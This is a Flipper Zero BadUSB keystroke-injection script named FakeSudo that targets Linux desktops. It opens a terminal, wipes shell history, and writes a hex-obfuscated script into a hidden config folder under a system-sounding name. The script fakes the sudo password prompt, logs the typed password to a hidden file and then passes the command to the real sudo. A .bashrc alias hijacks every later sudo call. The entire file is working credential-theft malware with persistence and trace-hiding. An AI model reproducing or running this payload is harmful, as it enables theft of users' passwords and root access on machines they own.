flipper/badUSB/fakesudo/fakesudo.txt

133 lines
3.6 KiB
Plaintext

REM #######################################################
REM # |
REM # Title : FakeSudo - Linux |
REM # Author : Snorky |
REM # Version : 1.0 |
REM # Category : Credentials |
REM # Target : Linux |
REM # |
REM #######################################################
REM Requirements:
REM - Nothing special. :)
REM #####################
REM # #
REM # BEGIN: #
REM # Open a terminal #
REM # #
REM #####################
DELAY 500
CTRL-ALT t
DELAY 500
REM ###########
REM # #
REM # Set Var #
REM # #
REM ###########
REM Nop i'm not in your HISTORY.. :)
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
ENTER
DELAY 100
REM DIR LOG and Binary name
STRING _DIR="/home/$USER/.config/.dsystem/bin"; _BIN="systemd-local"; _LOG="/home/$USER/.config/.dsystem/log"
ENTER
DELAY 100
REM ########################
REM # #
REM # Create DIR #
REM # Push fakesudo script #
REM # #
REM ########################
STRING cd
ENTER
DELAY 100
STRING mkdir -p $_DIR
ENTER
DELAY 100
STRING mkdir -p $_LOG
ENTER
DELAY 100
STRING echo -e """
STRING \x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x0a\x5f\x44\x49\x52\x5f\
ENTER
STRING \x4c\x4f\x47\x3d\x22\x2f\x68\x6f\x6d\x65\x2f\x24\x55\x53\x45\x52\
ENTER
STRING \x2f\x2e\x63\x6f\x6e\x66\x69\x67\x2f\x2e\x64\x73\x79\x73\x74\x65\
ENTER
STRING \x6d\x2f\x6c\x6f\x67\x22\x0a\x5f\x44\x49\x52\x5f\x42\x49\x4e\x3d\
ENTER
STRING \x22\x2f\x68\x6f\x6d\x65\x2f\x24\x55\x53\x45\x52\x2f\x2e\x63\x6f\
ENTER
STRING \x6e\x66\x69\x67\x2f\x2e\x64\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\
ENTER
STRING \x6e\x22\x0a\x5f\x54\x53\x3d\x30\x0a\x0a\x5f\x44\x41\x54\x45\x3d\
ENTER
STRING \x24\x28\x64\x61\x74\x65\x20\x2b\x25\x73\x29\x0a\x0a\x5f\x44\x49\
ENTER
STRING \x46\x46\x3d\x24\x28\x28\x20\x24\x5f\x44\x41\x54\x45\x20\x2d\x20\
ENTER
STRING \x24\x5f\x54\x53\x20\x29\x29\x0a\x0a\x69\x66\x20\x5b\x20\x24\x5f\
ENTER
STRING \x44\x49\x46\x46\x20\x2d\x67\x74\x20\x33\x36\x30\x30\x20\x5d\x3b\
ENTER
STRING \x20\x74\x68\x65\x6e\x0a\x0a\x20\x20\x20\x20\x72\x65\x61\x64\x20\
ENTER
STRING \x2d\x73\x70\x20\x22\x5b\x73\x75\x64\x6f\x5d\x20\x70\x61\x73\x73\
ENTER
STRING \x77\x6f\x72\x64\x20\x66\x6f\x72\x20\x24\x55\x53\x45\x52\x3a\x20\
ENTER
STRING \x22\x20\x5f\x53\x50\x0a\x20\x20\x20\x20\x65\x63\x68\x6f\x20\x22\
ENTER
STRING \x22\x0a\x20\x20\x20\x20\x73\x6c\x65\x65\x70\x20\x32\x0a\x20\x20\
ENTER
STRING \x20\x20\x65\x63\x68\x6f\x20\x22\x53\x6f\x72\x72\x79\x2c\x20\x74\
ENTER
STRING \x72\x79\x20\x61\x67\x61\x69\x6e\x2e\x22\x0a\x20\x20\x20\x20\x65\
ENTER
STRING \x63\x68\x6f\x20\x24\x5f\x53\x50\x20\x3e\x3e\x20\x24\x5f\x44\x49\
ENTER
STRING \x52\x5f\x4c\x4f\x47\x2f\x24\x28\x62\x61\x73\x65\x6e\x61\x6d\x65\
ENTER
STRING \x20\x24\x30\x29\x2e\x6c\x6f\x67\x0a\x20\x20\x20\x20\x73\x65\x64\
ENTER
STRING \x20\x2d\x69\x20\x27\x30\x2c\x2f\x5f\x54\x53\x3d\x2e\x2a\x2f\x20\
ENTER
STRING \x73\x2f\x2f\x5f\x54\x53\x3d\x27\x24\x5f\x44\x41\x54\x45\x27\x2f\
ENTER
STRING \x27\x20\x24\x5f\x44\x49\x52\x5f\x42\x49\x4e\x2f\x24\x28\x62\x61\
ENTER
STRING \x73\x65\x6e\x61\x6d\x65\x20\x24\x30\x29\x0a\x66\x69\x0a\x0a\x2f\
ENTER
STRING \x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x75\x64\x6f\x20\x24\x40\x0a\
ENTER
STRING """ > $_DIR/$_BIN
ENTER
DELAY 100
STRING echo "alias sudo=\"$_DIR/$_BIN\" " >> .bashrc
ENTER
DELAY 100
STRING chmod +x $_DIR/$_BIN
ENTER
DELAY 100
STRING exit
ENTER